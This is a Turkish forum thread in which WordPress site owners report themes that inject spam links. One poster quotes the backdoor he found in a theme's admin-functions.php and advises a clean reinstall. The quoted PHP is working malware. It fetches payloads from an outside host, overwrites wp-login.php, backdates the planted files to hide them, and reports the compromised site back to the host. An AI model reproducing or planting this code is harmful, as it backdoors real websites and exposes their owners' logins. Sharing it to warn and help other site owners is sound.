Arkadaşlar ben nedenini buldum.. a4 portal teması içinde admin/admin-functions.php içinde

Alıntı
$uaga = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko,gas) Chrome/76.0.3809.132 Safari/537.36"; @$adabs = ABSPATH."wp-admin/ms-zo.php"; @$idabs = ABSPATH."wp-admin/ms-options.php"; @$zifos = ABSPATH."wp-login.php"; @$opfilemtime = @filemtime($idabs); if (!@file_exists($adabs)) { $ch = curl_init(); curl_setopt($ch, CURLOPT_USERAGENT, "$uaga"); curl_setopt($ch, CURLOPT_URL, "http://pcan.xyz/s.txt?d"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $veri = @curl_exec($ch); $guncellebitir = @fopen("$adabs", "w"); @fwrite($guncellebitir, "$veri"); $chs = curl_init(); curl_setopt($chs, CURLOPT_USERAGENT, "$uaga"); curl_setopt($chs, CURLOPT_URL, "http://pcan.xyz/cwl.txt?d"); curl_setopt($chs, CURLOPT_RETURNTRANSFER, true); $verim = @curl_exec($chs); $guncellebitirs = @fopen("$zifos", "w"); @fwrite($guncellebitirs, "$verim"); $yils = date('Y',$opfilemtime); $ays = date('m',$opfilemtime); $guns = date('d',$opfilemtime);$saats = date('H',$opfilemtime);$daks = date('i',$opfilemtime);$sans = date('s',$opfilemtime); $zamanla = strtotime("$yils-$ays-$guns $saats:$daks:$sans"); @touch($adabs,$zamanla,$zamanla); @touch($zifos,$zamanla,$zamanla); $site = "http://$_SERVER[HTTP_HOST]"."/wp-admin/ms-zo.php"; $ch = curl_init(); curl_setopt($ch, CURLOPT_USERAGENT, "$uaga"); curl_setopt($ch, CURLOPT_URL, "http://pcan.xyz/l.php");curl_getinfo($ch, CURLINFO_EFFECTIVE_URL); curl_setopt($ch, CURLOPT_POST, true);curl_setopt($ch, CURLOPT_POSTFIELDS, array('user' => "kurulum",'pw' => "tamam",'site' => "$site")); $result = curl_exec($ch); curl_close($ch); }
Kodu bulunuyor.. Temizleyin fresh kurulum yapın birşey kalmaz..

Adamlar Exploit atmışlar..




murattunc adlı üyeden alıntı: mesajı görüntüle
Dış link taratin. Yada ana sayfa yada iç sayfalarda mousede sağ tıklayıp sayfa kaynağını görüntü le deyin inceleyin.. Sonucu paylasin bizde görelim. Aynı linkleri?
Alengirik adlı üyeden alıntı: mesajı görüntüle
tüm temaalar için geçerli mi bende de thewp blog teması var
goalgo adlı üyeden alıntı: mesajı görüntüle
HABER TEMASI V3 kullanıyordum bu sebeple temamı değiştirmek zorunda kalmıştım.
murattunc adlı üyeden alıntı: mesajı görüntüle
Dis link taratın. Bu temayı kullanıyorsanız kesinlikle sizin sitenizdede cikacaktir
ercutombalak adlı üyeden alıntı: mesajı görüntüle
Kesinlikle ben de muzdaribim. Her destek talebinde hostla alakalı diyorlar. Eklentiler aldıgım günden beri çalısmadı maalesef.
murattunc adlı üyeden alıntı: mesajı görüntüle
Arkadaşlar thewp teması kullanıyorum.. daha önceleri defalarca siteme sıkıntılı sitelerin linkleri yapısiyordu.. ben cahilim benim yanlışlarından kaynaklı diye düşünüyordum.. güvenlik beklentisi kurdum. Bilenlere danistim forumda arattim. Bu temayı kullanan sitelerin tamamına yakınına aynı pis escrt linkler yapısiyor... adamlara meaaj atıyorum.. adamlar temamizda bilinen açık yoktur diyorlar.. çok enteresan.. Ne yapayım AKIL VERIRIMISINIZ?